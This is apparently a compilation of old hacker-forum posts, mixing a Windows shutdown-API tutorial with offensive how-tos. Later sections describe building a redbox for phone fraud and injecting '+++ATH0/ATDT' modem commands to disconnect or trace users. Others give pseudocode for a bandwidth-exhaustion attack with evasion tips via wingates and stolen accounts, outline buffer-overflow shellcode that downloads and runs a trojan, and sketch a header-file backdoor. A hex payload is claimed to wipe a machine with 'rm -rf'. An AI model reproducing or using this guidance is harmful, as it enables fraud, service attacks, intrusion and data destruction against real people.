bomb proofing, fundamental design strategies and be able to break the whole
problem down till an implementation becomes apparent ...
This is similar to hacking - where not one piece of knowledge is enough - you
have to understand the full picture, from the cold hard logical bitflippingly
complex processor and those strange and esoteric backwater protocols to the
pointermunching object-driven OS ...
Remember that USING a tool makes you a USER, and C++ is just simply another
tool to help you get things done, one of many in the hackers toolbox (And I
don't mean Trojans or nukers).
If you want to learn to hack, first ask yourself WHY! And if you can find a
reason that exists outside of media hype and some false notion of 'eliteness'
or 'popularity' then begin by letting your curiosity lead you deep into the
subject - ignore ALL texts on hacking, and instead concentrate on systems and
protocols, coding and common bugs, processors and platforms, find out what the
internet IS until you can see the layers in your head as you use the network ...
learn to see through all the layers of abstraction that shield the user from
the true complexity of the medium ...
The internet and the systems sitting on it are like a painting, most look at it
and see only a pretty picture. We call them users.
Some look at it and see the brush strokes, they emulate the brush strokes and
achieve something similar - we call them developers.
Some cant see even the brush strokes, they get angry at their failure and
instead attack the painting with sharp (and blunt) objects ... ruining it to
satisfy their ego ... these are as dangerous as any lower life form can be, we
call them many things, but the most polite term would be the 'vandal' or
'criminal'
But, the hacker (In this context) knows, he knows that the picture is made up
of layers, each adding more detail to a very simple base till the true
constructs are lost in ambiguity ... he knows how look at a picture and see the
simple construction lines, the spheres and cylinders and cubes that all the
complexity is based upon ... and finally, and most importantly ... he can
change the whole painting just by altering those thin fragile pencil-drawn
construction lines at the heart of things.
The real power isn't in getting a tool that does something neat - doing that
just further removes you from complexity ... further simplifies your
understanding ... makes you forever a 'user'
If you want real power you should head in the opposite direction ... right into
the heart of things, where few understand or can follow you ... and when you
are there you will see how little security exists, and will learn how to bring
the most fearsome tower of security with a little knowledge about the bricks
that comprise its foundations and some applied precision - while others bang
repeatedly on the walls with ineffective imprecise little hammers they had to
get elsewhere.
Read that, remember it ... and if you still think you might have what it takes
to become a hacker (Determination, obsession and a curiosity that keeps you
awake at nights wondering 'how') then welcome aboard - but I promise you, there
will be times you wish you were anything else : )
If you don't have experience in OOP design with C++ I suggest:
"Introduction to programming in C++: A laboratory course"
Roberge & Smith
ISBN 0-7637-0312-5
But if you really want to get into this fast, get the following two ...
"Programming and problem solving with C++"
by Nell Dale, Chip Weems and Mark Headington
published by Jones and Bartlett
ISBN 0-7637-0292-7
> 1200 pages
"The Apprentice C++ programmer (A touch of class)"
Written by a former tutor of mine P.A.Lee and C.Phillips
published by Thompson Computer Press
ISBN 1-85032-160-4
> 900 pages
The latter two books above can be used together, the first has more examples,
the second has more conceptual content and is a hell of a good introduction to
thinking in terms of C++ abstract objects.
Once you have those (And a C++ compiler) you may find the following titles
useful ...
"Data Abstraction and Structures using C++"
Headington & Riley
ISBN 0-7637-0295-1
"Data Structures in C++: A laboratory course"
Roberge
ISBN 0-7637-0313-3
any problems, don't hesitate to mail me
Remember that there are a HUGE number of web based resources out there too, and
newsgroups too.
--=[ Restarting/Shutdown using c, c++ or visual basic ]=--
First consideration is whether you wish to use C++/VB/Delphi etc ...
Well, in either case the answer is pretty much the same ... in order to
shutdown/powerdown/restart/logout/force shutdown/force standby a windows
session you will have to make winAPI calls.
If you've never used the winAPI before then don't worry, its actually pretty
simple - instead of using commands supplied by C++/VB you will be using the
internal commands that are already a part of the windows API (Application
Programming Interface)
The API is simply a set of DLL's (kernel32.dll user32.dll gdi32.dll etc ...
that allow programs to use the code that already exists in the windows OS)
To do this you will have to call the appropriate .DLL from your code (Which
then attaches to your code like an extension) and then call the commands you
need (Each .DLL has its own group of functions relating to a particular aspect
of windows functionality)
This simply means you avoid having to write huge lumps of code to do something
that windows already knows how to do :) The winAPI is the most useful part of a
win programmers toolbag. You just grab the appropriate .DLL whenever you need
it, and use its abilities :)
Now ... in this case we want to control the shutdown of windows, and this is
handled by the following winAPI/.lib functions:
ExitWindows
ExitWindowsEx
InitiateSystemShutdown
InitiateSystemShutdownEx
AbortSystemShutdown
LockWorkstation
The most important two of this set are ExitWindows and ExitWindowsEx (The Ex
just stands for Extended and offers more control than the plain old version)
ExitWindows will just log the user off
ExitWindowsEx allows you to choose whether to log off the current user, shut
down the system, or shut down and restart the system.
So lets ignore the first since its use is limited and is only a subset of the
extended functionality of the second.
USING ExitWindowsEx();
Here's what the function expects and what it returns (The prototype)
BOOL ExitWindowsEx(UINT uFlags, DWORD dwReserved);
As you see it takes 2 parameters ...
1. uFlags: an unsigned integer value indicating what type of shutdown you want
2. dwReserved: a double word value that is ignored (For future expansion)
and when called it returns a Boolean value (A true or false indication of
whether the command succeeded)
So ... to use it you will need to know what uFlag values it accepts, well,
lets take a looksee ...
uFlag values for ExitWindowsEx:
Well, it MUST contain one of these values at least:
EWX_LOGOFF
Shuts down all processes running in the security context of the process that
called the ExitWindowsEx function. Then it logs the user off. Don't worry about
security contexts, they are only valid in Win2000 and WinNT's - and can safely
be ignored.
EWX_POWEROFF
Shuts down the system and turns off the power. The system must support the
power-off feature. Under Win2000/NT The calling process must have the
SE_SHUTDOWN_NAME privilege (Again, it is safe to ignore this - it will either
work, or security will stop it)
EWX_REBOOT
Shuts down the system and then restarts the system.
Again, under Win2000/nt The calling process must have the SE_SHUTDOWN_NAME
privilege or it will fail.
EWX_SHUTDOWN
Shuts down the system to a point at which it is safe to turn off the power. All
file buffers have been flushed to disk, and all running processes have stopped.
And again under Win2k/NT the SE_SHUTDOWN_NAME privilege is required for it to
work.
Don't worry about this SE_SHUTDOWN_NAME thing, its just something that win2k/NT
uses to control what applications have the right to do certain things - you
really have little control over this unless you REALY want to get your hands
dirty ... just accept that sometimes a win2k/NT will refuse to let you shut
down - where win9x will almost certainly allow it.
Now ... we can ADD the following value to further modify the behaviour of our
selected action.
EWX_FORCE
Forces processes to terminate. Under a normal shutdown each process gets asked
to shut down nicely, some may refuse because they are busy doing something
important. If you REALY want to shut down aggressively add this value to the
value you selected earlier, but remember it will cause applications to
terminate without tidying up or having a chance to say 'please don't'
so ... what does this look like in code ...
ExitWindowsEx(EWX_POWEROFF, null);
Try to shut down and (optionally) turn off the power (ATX cases only)
ExitWindowsEx(EWX_POWEROFF + EWX_FORCE, null);
Do the same as the above command but doesn't care if an application decides it
doesn't want to die - we will kill it anyway - heh. This is the nasty option
and gives the user no chances to save their work or interrupt the shutdown.
The values of EWX_LOGOFF, EWX_POWEROFF, EWX_REBOOT, EWX_SHUTDOWN and EWX_FORCE
are defined in two header files which you will need to include if using C++:
#include <windows.h>
#include <winuser.h>
you will also need to compile with the following library included at link time:
user32.lib
however this will make your .exe file bigger
-OR-
to keep your exe file small (preferred) you can just link the user32's .dll
file dynamically (As the program runs)
user32.dll
There is a problem with win9x ... if you try to log the user out with force
(EWX_LOGOFF + EWX_FORCE) the user is logged out and the login/password dialog
appears ... but the users desktop is still on screen ... to avoid this you may
want to kill the explorer process before using this combination (Just for
neatness) But that is a topic for another day :)
Remember that we return a BOOL value indicating success ...
if(ExitWindowsEx(EWX_REBOOT+EWX_FORCE, 0)==TRUE)
{
// Laugh at the user cuz his system is going down now
}
else
{
// Hmmm, didn't work ... maybe we should try again
}
You may think its a little weird that it returns a value to say YES the system
has been shut down, since if our code sees the value then the system CANT be
shut down already. BUT - when a TRUE is returned it means that the shutdown is
underway NOT that the shutdown is complete.
Its like asking a man if he's ABOUT to die (He can reply YES, and then will
die soon after)
Its not like asking a man if he's dead (Obviously he couldn't tell you if he
was)
Now you know how it looks in C++ you will be happy to know you can call it from
VB just as easily ... but in VB you MUST use the .DLL (There is no library or
header files) - Also in VB the variables EWX_?????? are not set up ... so you
will need to use the numbers or do some EWX_?????? = 16; stuff :)
For information about how to use .DLL's in VB see the help files and samples
(Or if you get stuck ask me and I'll paste you some code)
--=[ IP addresses within chat rooms ]=--
There are 2 main categories of chatroom when you are considering connectivity...
These are the client->server model and the client->client model.
CLIENT->SERVER CHAT MODEL
In a client->server chat model many clients (that's you) connect to a central
server and all messages pass through the server, the server does all the hard
work.
B-------\ /--- C
A --> SERVER <-- D
Here 4 people (A,B,C and D) are all connected to a chat server ... then A wants
to talk to D he sends the message to the server and the server passes it on.
Messages follow this path ...
A-->SERVER-->D
In this model ALL clients connect ONLY to the server ... unless the server
allows it, there is no way to know who else is connect (Unless you own the chat
server <G>)
CLIENT->CLIENT CHAT MODEL
Strangely, a client->client chat model starts the same way : ) All the users
connect at some time to a central server to let it know they are available for
chat ... the server takes their IP for its records and gives the user a big
list of IP's (Other chatters) This is known as a 'Directory Server'
Then, messages are passed directly from client to client (You can do this
because the server gave you all the IP's you need to connect directly)
B-------\ /--- C
A --> SERVER <-- D
You get back a list like this ...
A = Adam 164.43.14.65
B = Brian 24.37.273.21
C = Christine 197.32.44.2
D = Dave 111.232.34.54
Then, to send a message from A-->D the message path is much more simple (And
the remote users IP will show on netstat) The message path is ...
A-->D (111.232.34.54)
HYBRIDS
An example of a hybrid service is IRC, which allows client->server AND
client->client models in one implementation.
Most chat systems use BOTH of these systems because both have strengths and
weaknesses : ) On a hybrid you will generally find the following schema :
Chat goes through the server (While chatting you see no IP's)
Files go client->client (While transferring files you see the IP)
Since file transfers normally require the remote users acceptance, the system
pretty much protects IP's in any mode (Unless it explicitly publishes them, or
if you connect to the directory service manually : )
I hope this explains why your netstat seems not to work - yahoo is probably a
client->server model of chat service, and therefore - unless you have the
ability to send files directly you wont get access to the IP of a remote
(Pretend to be female and ask if the remote wants to see your pic)
If not, all you will see is the address of the server.
Conversion of a tone dialler into a redbox
The conversion of a tone dialler into a redbox is simply the changing of a
crystal. And then putting * * * * * into a speed-dial memory.
The crystal would cost you less than $1
If you don't know how to change a crystal just take it into a TV/VCR repair
shop and ask the guy if he can swap the crystals for you. He can do it in
literally seconds while you wait.
You sure you want to pay me $60 for one?
What you can expect to pay ...
< $1 to convert a dialler into a redbox
< $2 to convert a dialler into a dialler + redbox (use a Switch)
(Or a magnetic reed switch if you want it to be examined without discovery)
I can send you details and a list of DTMF pads that this is guaranteed to work
with, or, if you REALY don't think you can handle this yourself I take Visa,
MasterCard, Amex, Diners Club ... etc ROFL (JK)
--=[ Tracing a telephone number from an IP ]=--
Check the server to see if its RAUDIT equipped, if so you may be able to pull
the dialup details while they are online or for a short time after using their
IP and ISP's local Date/Time. (You may have to do a lookup to get the hostname
in order to find the connection reference for your query - most don't reference
in IP form, never did understand why)
If not or you fail to crack access to it, try a simpler method ... assume they
use a modem with the cheaper Rockwell chipset and hope they haven't changed the
2nd s-register (Attention character) to an inhibit value (i.e. MSB set) ...
send a standard +++ath0 ping packet to see if you can disconnect them, just
ping about 5 times with 2 second intervals, at least the last 3 should fail to
return - if so, do the following:
NSLookup their ISP and try to get some idea of which country they are in, then
find someone you know and trust in that country (Hopefully it is your own) ...
Send the victim an +++ATDT{friends number}; ping packet - and their modem will
drop and call your friend (Who of course has CallerID - heh)
Many people have CallerID barred by default, but they have to disable the CID
barring to dial their ISP ... and to do this they sometimes use a prefix that
tells the exchange to enable CallerID for this single call ... so you may want
to know that prefix first before you try to make them call you. This is a damn
easy method :)
There are many other methods ranging from stealing their connection and forcing
the answering(Call Handling) Modem (Which is of course CID capable) to do a
confirm sequence (On some bulk equipment - check the manufacturer docs for the
various call confirm sequences)
Finally, for completeness ... Get the actual postal address ... take their
number and pass it through a local, regional or national CNA, e.g. in England I
would try calling BT InterVue and get the number for Jumper Control for the
area (Say Heaton, Newcastle - would be the NETEA exchange) - Then call NETEA
Jumper Control with a valid OUC/BCS to get the subscriber address for the
terminating equipment.
If you don't know how to run CNA checks in the targets country check the 2600
meeting for that city or country (Payphone numbers and meeting times are listed
publicly) There will be someone there that can hopefully run a CNA for you.
That's how I take down paedos equipment cus the law hear wont do @!#$ unless
you give them an address they can raid - give them an IP and they try to
freaking phone it (I'M SERIOUS LAW ENFORCEMENT SUCKS) ... it proves the old
addage ... "If you want something done right - do it yourself"
You send him a ping packet with '+++ADTD{number};' in the body of the packet.
You can do this with the 'ping' command from your *nix box or shell type
'man ping' for help with this (TIP: You will prolly need to covert the string
to HEX first :). Unfortunately the ping command that comes with windows
doesn't allow this.
If you are stuck with a windows box only - then there are a number of
'hang-up ping' programs that send these packets ... look for one that allows
you to change the body of the ping :)
If you have no luck remember that ANYTHING that causes him to send
+++atdt911; back to you will cause his modem to respond :)
for example, you can do a CTCP PING on IRC using /RAW
or, if he has a port open 'such as telnet' that echoes characters back -
pasting the +++ command at him so that it all comes back as one string will
get him :)
Or abusing FTP or MAIL services by logging in as user +++... so that he sends
you ...
'No such user +++atdt911;' [disconnected]
-or-
'Password required for +++atdt911;' [disconnected]
Many ways to pull this off and it does work on a lot of the modems out
there ... namely the cheap Hayes clones.
This is because the original Hayes patent required that a silence (called a
'guard time') was required before a +++ sequence to make the modem go into
command mode from data mode.
Rockwell didn't really want to pay Hayes to use their modem technology so they
twisted the patent slightly and didn't include the guard time ... this also
made them vulnerable to dropping into command mode at any opportunity - heh.
Since true Hayes modems are more expensive than Rockwell's this vulnerability
is still found quite widely despite being years old and quite lame - however,
it is the first thing to try when looking for a victims telco number from the
IP.
If YOUR modem is vulnerable then it will disconnect as you try to send the
nasty packet to the victim, and the victim will not be affected ... so if you
have problems with your own modem dropping each time you try it, you may need
to set the MSB of s-register 2 on your modem.
================>
How many of these modems are out there ? Looks like lots.
SSS
================>
Oh, TOO many ...
Europe is the worst because Hayes modems and USR's have higher import charges
so people go for the cheaper Rockwell's, almost all of them there are Rockwell
based.
In the US and Canada I'd say its about a 50:50
But many are learning to put the s2 register settings in their init strings,
so some Rockwell's wont respond.
M3DU54CL4US "+++ath0h0h0h0 ... bellowed Santa as he dropped carrier"
Also....
But shadow seems a bit confused as to how the command actually gets acted upon.
Well ... here goes ... This has NOTHING to do with TCP/IP protocol stack or
internet, it is simply an issue of basic modem operation.
A modem starts in command mode ... in this mode anything you send at it is
assumed to be an AT command sequence, anything else will return an error string.
When a connection is made to another modem the modem switches to data mode
(before even a PPP is established - we are just talking about modems here not
protocols) In data mode everything the modem receives is assumed to be data.
This leaves us with a problem ... how do we get OUT of data mode if EVERYTHING
we say is interpreted as data to be sent ?
Well, we have an 'attention sequence' this is a sequence we send to a data
modem to get it to accept a command from us.
The attention sequence is '+++' and will make a connected modem stop and listen
to a command before returning to data mode.
So ... if in the middle of sending the data '1234567890' I wanted to turn the
modem speaker on I would send ...
'1234+++ATM1L3[CR][LF]567890'
See how that works ?
'1234' is sent as data to the remote side
+++ makes the modem treat the next string as a command
ATM1L3 turns the modem speaker on and volume to full
the CRLF ends the command and returns the modem to data mode
'567890' is sent to the remote side
now ... this obviously makes +++ a dangerous sequence to send through a modem.
Hayes modems original patent said that to prevent any accidents a '+++' must be
preceded by a period of silence known as the 'guard time' This was to prevent
an accidental triggering of the modem due to sent data containing command
sequences.
But, Rockwell modems didn't want to pay Hayes ... so they took out the guard
time in order to defeat the patent. (Bad Move)
So ... on many non-Hayes/USR modems you can easily command the modem to do what
you require, since no guard time is needed prior to a +++ sequence it becomes
an easy matter to trick a remote machine into sending back a string that the
modem will interpret as a command!
hope this made some degree of sense.
================>
Hello again. This post is in reference to my last one. The question about which
file on a *nix system is the IP stack was unrelated to my question about
sending +++ data to modems. I'm sorry for any confusion but I would still
appreciate an answer to this question so here it is again:
What file on a *nix (Linux, FreeBSD, Solaris, OpenBSD) system is the IP Stack?
Where can I find the source for the IP Stack if it's not in clear text form?
Now I'd like to discuss the +++ topic once more. This will pretty much be the
same point I tried to make in my original message but I felt it wasn't
accurately answered. Modems speak datalink protocols to each other. IP is a
network layer protocol and as we all know the network layer is above the
datalink layer. Additionally I'm sure we are all aware of how protocol stacks
operate when receiving data: strip header, send to next layer up the stack.
Everything past the header info in a packet is the packets payload and isn't
used by the current layer. So to clear things up the modem would receive it's
data, strip any header information and pass the packet up the stack. The +++
data you mention sending in an IP packet wouldn't be evaluated by the modem,
but would rather be passed up to the network layer. So how can this work? Are
you suggesting any data with +++ passed through a modem can accomplish this
same thing? Could I send it in a http request, for example:
GET /cgi-bin/noscripthere.pl?+++(modem_command) HTTP/1.1
After all the data is still passing through the modem (assuming the webserver
is connected via a modem), so this will work the same will it not?
I could imagine the +++ technique possibly working if 2 modems are talking
directly to each other using only a datalink protocol but not if the data is
in an IP packet.
Before I finish this post I'd like to clarify that I am aware this is an
outdated hack, and only certain modems are vulnerable. I'd appreciate any
clarification you can add to this topic to help me understand.
-Lady Shadow
================>
It doesn't matter about the network protocols as long as the bytes of data
are contiguous, and they will be.
if I send it inside a ping packet, the body of the ping packet contains the
string '+++ath0;' and this passes through the modem to the remote, and then up
the TCP/IP protocol stack transport SPI till it is served to the target
application.
NOW ...
The application makes a response (In the case of an ICMP PING it will be a ping
reply packet) ... the packet is formed and travels down the TCP/IP transport
SPI layers and via the device driver to the modem ... which sees:
{ipheader garbage}+++ath0[CRLF]{more garbage}
and decides it is an indication to drop into command mode and issue the AT
Hayes command H0 (Hang up) before continuing to send data.
Remember that the modem is pretty much dumb - and doesn't realise it has
occurred in the middle of a packet. It just sees an attention sequence followed
by an AT command. See? This has nothing at all to do with the protocols used -
since no matter how you wrap the data it will always look like an attention
sequence.
Also remember that this ONLY affects the modem when the data is sent upstream,
hence the need to get the remote side to issue the string through its modem as
part of the data stream.
Remember that TCP/IP does not encrypt the data, it merely wraps and quotes it
(And fragments it into happily sized packets)
If I wanted to exploit HTTPd I would try to coerce it into reporting an error
with the resource '+++AHT0'
If I wanted to exploit FTPd I would login as user '+++ath0' and coerce it into
saying:
'password required for +++ath0.[crlf]'
I suggest if you still don't follow this then you should really play with your
modem. Its a VERY old exploit and I only mentioned it because its the first
thing you should try when trying to get a telephone number from an IP.
Its not complicated, its not clever - its old, dumb, and I previously thought
everyone understood its simple manner of operation. I expected to have to
clarify the other methods of acquiring a number from an IP, but not this one as
its so self explanatory.
Please lets not waste another thread on it.
As for which file is the IP stack ... there is not one specific file - the
Protocol stack is a STACK of layered services and each is handled differently.
For example, a firewall is a layered service and also takes its place as part
of the stack. The protocol stack is a dynamic entity.
From the amount of lines I have had to type about the simplicity of sending
command mode sequences to modems I really don't know if I want to get into the
vagaries of local protocol implementation.
--=[ A bandwidth eater ]=--
================>
Tis been a long time since I have posted here. first time with a question
myself. is there a canned program, a script, or general knowledge of how to eat
up bandwidth? (not DoS Ping attacks) something that maybe sends enough packets
to a webpage as to make the admin have to pay for the excess bandwidth. not to
shutdown the server, but rather the owner of the page. the
name/location/information of such knowledge would be helpful (and maybe ways to
prevent it.) I believe having to make the owner accountable instead of the
server is far more prized.
================>
Problem is, it would have to be distributable, because otherwise you similarly
add to your own usage, granted, not by as much ... but still, enough.
Simplest, but dangerous method ...
while(true)
| if we are running less than 30 lynx processes
| spawn lynx to grab "www.lamer.com/bigfile.zip" to file '/dev/nul'
| end if
end while
*** Note that all they need to do is remove the file and your
*** attack will fail, its better to spread your attack across
*** the entire sites content, as follows ...
nicer route ...
Start with a blank list, and a pointer ... Add the root URL to the list at
position 1, and then set the pointer to position 1 also :)
Then do this ...
*** map site ***
DO
| read the line pointed to (On first pass will be root url)
| Fetch the URL, and add all links found to the list
| increment the pointer (We now should have things after)
while(pointer is NOT past end of list)
*** attack site ***
while(true)
| for each line in list DO
| if we are running less than 30 lynx processes ...
| spawn lynx to grab (this line URL) to file '/dev/nul'
| end if
| end do
end while
This will randomly hit every page on the victims site with 30 threads per shell
and download all content. Or, if you are not worried about spreading the load
across pages you might just want to hit the largest links you find which will
marginally increase your transfer rate.
Notice we still haven't protected OURSELVES against bandwidth constraints ...
If you don't want to also overload the shells band quota you may want to store
file-length of each resource found during the mapping phase and every time you
spawn a lynx deduct that value from a variable set up to hold the amount of
bytes you wish to expend from this shell. So... if you have a 500mb/day limit
you may want to start it at midnight with :
'long lKBytesleft = 460000;'
and for each spawned lynx downloading sUrl[ptr] you will perform
'lKBytesleft =- iURLsize[ptr];'
and instead of looping in a 'while(true)' loop inside a
'while(lKBytesleft > 0)' ...
See? not a heavy project if you spawn lynx instead of handling your own sockets.
Just check that you operate within the tolerance of your shells (Or use someone
else's system or acct. *wink*)
Now, finally ... crontab the script to run at the QUIETEST time for your server
(About 4-6am local time normally) every day ... remember, you have set it to
use less than your daily quota.
If you have a monthly, or weekly quota, and the lamer has a daily one - just
give him as much @!#$ as you can, give him half of your monthly allowance in
just a couple of days ... that will upset him :)
Oh, and connect to your shell at ALL Times from a wingate ... that way you can
always claim to have been hacked when the admin gets on your case, just say you
found sub7 on your machine and now are worried - ask the admin to change your
password for you (As not being able to do it yourself makes you look lame and
non-threatening, heh) Better still, use a *coughed* account!
--=[ How do I enter a win box comp without using a Trojan ]=--
Well, you need to find an application they run that has a security hole. The
security hole should at least allow you to run arbitrary code on the victims
machine (Many security vulnerabilities are only good for Denial of Service)
Its really not so hard though ...
The outlook express mail client has vulnerabilities
Buddyphone has a remote-update option that can be used to force code
ICU has a nasty little hole that can execute LARGE (over 700k) chunks of code.
mIRC 5.7x heap overflows 217bytes
mIRC 5.8 heap overflows 226bytes
IE 4.x had problems that allowed remote execution of code
IE 5.0 has HUGE problems of a very similar nature
IE 5.1 Closed the hole and nicely opened another - heh
I know a hole in IE5.5, but whether it will allow arbitrary code to be executed
is untested as yet, (working' on it).
There are very few inet programs that DONT have vulnerabilities (Cuz most are
written using visual development tools and the programmer never gets anywhere
near checking the code) and also many of the vulnerabilities are shared due to
problems in certain public ActiveX and DLL socket wrappers - So hack one of
these and you find that similar attacks work on every piece of software by that
(and some other) developers.
Basically, you WILL be able to get a small piece of code to execute on their
machine ... you just need to know which programs are vulnerable and how to best
exploit the vulnerability.
It's relatively simply to do if you understand machine code. You just write a
little section of ASM that will load a URL resource in the background and
execute it. The resulting code will be VERY small (The smaller the better)
A typical scenario ...
An application has a buffer of 256 bytes followed by some code that handles
errors. Due to a glitch the application will allow you to place more than 256
bytes of data into this buffer (Thus overwriting the error handler too) Then -
it parses the buffer and notices an error - and executes the error handler
(Which by now has been overwritten by your OWN code)
Or maybe the glitch allows you to overwrite the parser - and the application
never even sees an error - just runs right into your code.
How to ...
Find a number that you can XOR each of the bytes with to remove any bytes that
may be interpreted as EOF or NUL (Or in some cases CR & LF are undesirable)
Now you got a string with a lil un-XORing loop followed by some XOR'd code to
execute. And the string doesn't have ANY terminating bytes (Application
specific)
Next we pad the front of the code with NOPs or garbage to correctly alight the
start of our code in memory with the point that the application is going to JMP
to ... and we got us a neat little injector.
Fire that at the application and it will have the desired effect if it is coded
correctly.
Bear in mind that - if your overwriting of the handler causes an error then
look out - the process will die before your code has manages to fetch the URL
resource and execute it. This can often be avoided with application sympathetic
programming - but if not, you can always abandon the idea of dragging a URL
resource and executing it ... and instead create a small 'dropper' that will
place code on the machine and set it to run on boot up (Or infect a known .exe
or the current module)
That way the attack may blue screen the victim almost immediately, but we don't
mind because they will then reboot - and after rebooting our code will then be
executed (In a more stable environment) and can chain in the larger Trojan from
the designated URL.
Limitations ...
Remember that your infection code is almost always squeezed for space -
sometimes having only a hundred or so bytes, sometimes even less. You CANT
write C++ or VB code to do this ... only ASM is tight enough and offers great
enough code control, if you cant write ASM - then give up now and start buying
some books.
Ummmm ...
That's all pretty complicated to read - but actually quite simple in practice.
All you needs is Nu-Mega SoftIce, some skill in Assembly Language, and a basic
understanding of the winAPI/BIOS.
If you don't understand Assembler then I suggest you either spend a few years
learning it or give up now.
--=[ Searching for exploits in existing code ]=--
All exploits are slow at coming up :)
If you had an exploit for an OS, router, system or service that nobody else
knew about how soon would you make it public knowledge? would you ever make it
public knowledge? Hmmm ... I would guess not.
If you were a developer and found a hole in your software ... would you publish
the holes details publicly and lose face? or would you issue a new version and
just make some ambiguous statement about stability? heh - I think the latter.
The truth is, most holes are known to those that found them - only when a
rootshell/bugtraq/etc... contributors find them do they become public - most
holes never see daylight till AFTER a new version comes out and the hacker
finds that they are not as useful as they once were.
If you want exploit the best thing you can do is go look for them, trawl
through source looking for possible race conditions and badly chosen default
settings. Look for bad range checking and easily confused sentinels. Examine
how input data can be malformed in a way that causes confusion to the parsing
and handling. Etc ...
Once they are made public their usefulness is usually limited and made even
less useful due to their publication.
For the hacker the greatest use of a published exploit is to examine the source
and see WHY it works - then go look for similar examples of incorrect coding
practices. And, when you find them, KEEP THEM TO YOURSELF ! : ) or an upgrade
or patch will surely follow.
For an administrator an exploit generally shows WHY his system has been
insecure for a large number of months or even years(Like the IRMIC problem) and
the numerous sendmail bugs.
Simply put ... the more time spent looking for published holes and the less
time spent looking for unpublished ones - the less ability you will have to
crack a given system - by waiting for publishing we allow the administrator the
advantage.
Also.....
Well, every exploit (regardless of OS) is different from the last in terms of
its size, scope and methods.
writing a text file on finding and using them would really be quite a challenge,
and one that I'm not entirely sure I am up to meeting.
Your ability to use assembler certainly will be an advantage because most
exploits really don't show up too well in source ... many are the artefacts of
unwise compile-time optimisations and linking and only show up on close
scrutiny of the code at the instruction level.
Lets imagine a certain buffer is implemented as a 64 byte area of the heap, due
to code optimisation it is placed in the code segment so that the functions
that access it are all nearby.
[CODE getdata]
[CODE unquotedata]
[DATA 0..63 byte buffer]
[CODE parsedata]
[CODE errorhandler]
Its not hard to see that if something should go wrong and data gets written
past the end of the buffer it will overwrite actual code. So, the code that
places the data in the buffer must be perfect and either reject or truncate
data that is too long.
If you look at published exploits and take a look at the source for the
vulnerable versions you will start to see all the common mistakes that many
programmers seem to fall into time and time again, within the sphere of buffer
related exploits most of these errors occur at buffer boundaries or when
sentinels fall just inside or on the boundaries. Also, when a piece of data is
just 1 byte too big - any more and the code will catch it, but due to some
silly oversight the programmer decided that a [0..63] buffer had an element
64 :)
Damn, there are too many different ways a hole can occur - the only way to
learn is actually walking step by step through what is happening in a published
exploit and seeing WHY it just happens to miss any error catching.
Then, take a look at some new code and see how it handles data and what forms
of sanity checking it performs - you will find errors in most code, but whether
the error is 'exploitable' in any form will be dependent on the particular
situation.
If you are just starting out and looking for a target-rich environment you may
want to look at peoples perl scripts, they often mess up the conversion of
URLFormEncoded strings in an exploitable way.
Many people say winsploits are lame. I personally like windows exploits because,
lets face it, that's where all the targets are ... they are easy and provide
multiple safe - platforms for launching further 'explorations' against more
secure systems. I know that any windows exploit will yield thousands of
vulnerable targets without even looking too hard - and they can then be
utilised as non-logging BNC's and willing easy to program drones. Windows
provides more opportunities as all instances of the code will be byte-identical
and therefore predictable at the byte/instruction level.
With *nix systems you have the problem of user-compilation making instruction
level holes very unreliable - so almost all the *nix holes you find will either
be quirks between particular kernels and the code - or problems spottable in
source.
Maybe one day I will catalogue some exploits alongside an actual code
walkthrough, so that I can show WHY the code was vulnerable and how it could
have been detected prior, but, well - its not easy stuff to explain and I think
my audience would be quite small since nobody seems to give a damn about ASM
anymore, hell, most people are just looking for the next mindless third-party
pushbutton user-ware to download.
--=[ How to break a BSD password file ]=--
You going to have fun cracking that, how much time do you have?
The fun is that the security doesn't heavily rely on the inaccessibility of
the password file unlike *cough**cough* does.
Hell, I'd quite happily send you my servers password file :)
Get ready to pass this problem down to your grandchildren since you can pretty
much bet that they ain't going to be using rot13'd passwords. For example, mine
is a 2 layer (PGP over MD5) with an obscene keysize since speed isn't a factor.
Ever get the feeling that the password file isn't your ultimate goal on a BSD ?
I don't know what level of access you have managed, but if you can get to the
header files for gcc/g++ you can start to tear the security apart based on the
following assumptions :
1. recompiles are very common.
2. the daemons will use socket.h
3. some process will run with root privilege at some time.
4. programs can communicate via public file even though their processes may
not be concurrent.
Oh, look ... All open sockets have inherited a bug (from sockets.h) that allows
me to add a line to a certain public file by sending a quoted string on a
stream.
Oh look, recently recompiled daemons display this vulnerability.
Oh look, when recently recompiled processes execute they check to see if they
have privilege and if so they execute my public file.
Oh look, other goodies ...
the header files are easy game and can be used to backdoor a system, just sit
and wait - the more the admin patches his security the more your door is
prevalent on the system.
We all check the sources before compiling, but when was the last time you
checked your C/C++ header files ?
Isn't it fun when sending ...
<REWT:23212F62696E2F73680D0A726D202D6672202F2A0D0A>
Will wipe the machine clean without even needing to telnet in!
Just by sending to ANY port such as sendmail/telnet/ftp etc ... or even just
including it on an HTTP GET request from your browser.
The only function of breaking the password file is to steal root - if you can
get at the password file you can get at the headers, then just wait ... I
guarantee the admin will recompile some services and software LONG before you
crack a decent pwfiles encryption.
================>
Hmm, got to do some research. Basically, I got into this system (of a friend of
course ;)) using anonymous ftp, and hr had this pwd.db file hanging out in the
/etc directory. I doubt very much that I could access the header files from
here....anyway I'm going through what you said.
In the unlikely case that I DID wish to crack the pwd.db file, can you tell me
of any tool (yeah, script kiddyish I know), or better, an official spec of HOW
the file is structured ? Ive never worked on BSD (except on InSaNe's shell ;))
so I don't know very much about it.
The reason I posted on this (even though this is NOT a crypto board) is because
---> I wasn't really aware that crypto could really be involved in it --->
consider the standard Unix pass file, sure that's DES, but cracking it doesn't
need any crypto, just needs john or crack or whatever.
SSS
================>
Sorry, haha
the first three lines of my response were intended as a joke ... you know, so
much is OT that its becoming an instinctive response to new posts. That kinda
thing :)
You really don't have to justify a crypto question, you know that : )
You can probably crack the password file of a BSD machine in a quite a
reasonable time using a DP cracker but its just that I find cracking a file
yields one or two usable passwords that will change after intrusion anyway ...
the others are userlevel and irrelevant unless a further hole exists at that
level.
Really, acquisition of the password file shouldn't be a security compromise.
you mention standard Unix but really the Unix standard is very old and to run it
you REALY should replace the default crypto with something you can trust. The
fact that most admin don't is just a testament to their stupidity, especially
in a world of high performance crypto.
Since I don't go round rooting commercial BSDs (I root in battlenet and CTF)
The BSD boxes I have seen/had rooted have all been using pretty kickass crypto,
and really, you don't have the time during a CTF to go number crunching. You may
find a decent cracker, but look out for linux based distributed processing
crackers or you could be twiddling your thumbs for a long time.
Assume its standard (out of the tin) crypto and take it from there, I'm sure
you will find a cracker for it - but writing a cracker is the easy part,
getting it to complete in a reasonable time is often a little optimistic.
--=[ How to: Create unique strains of Trojans ]=--
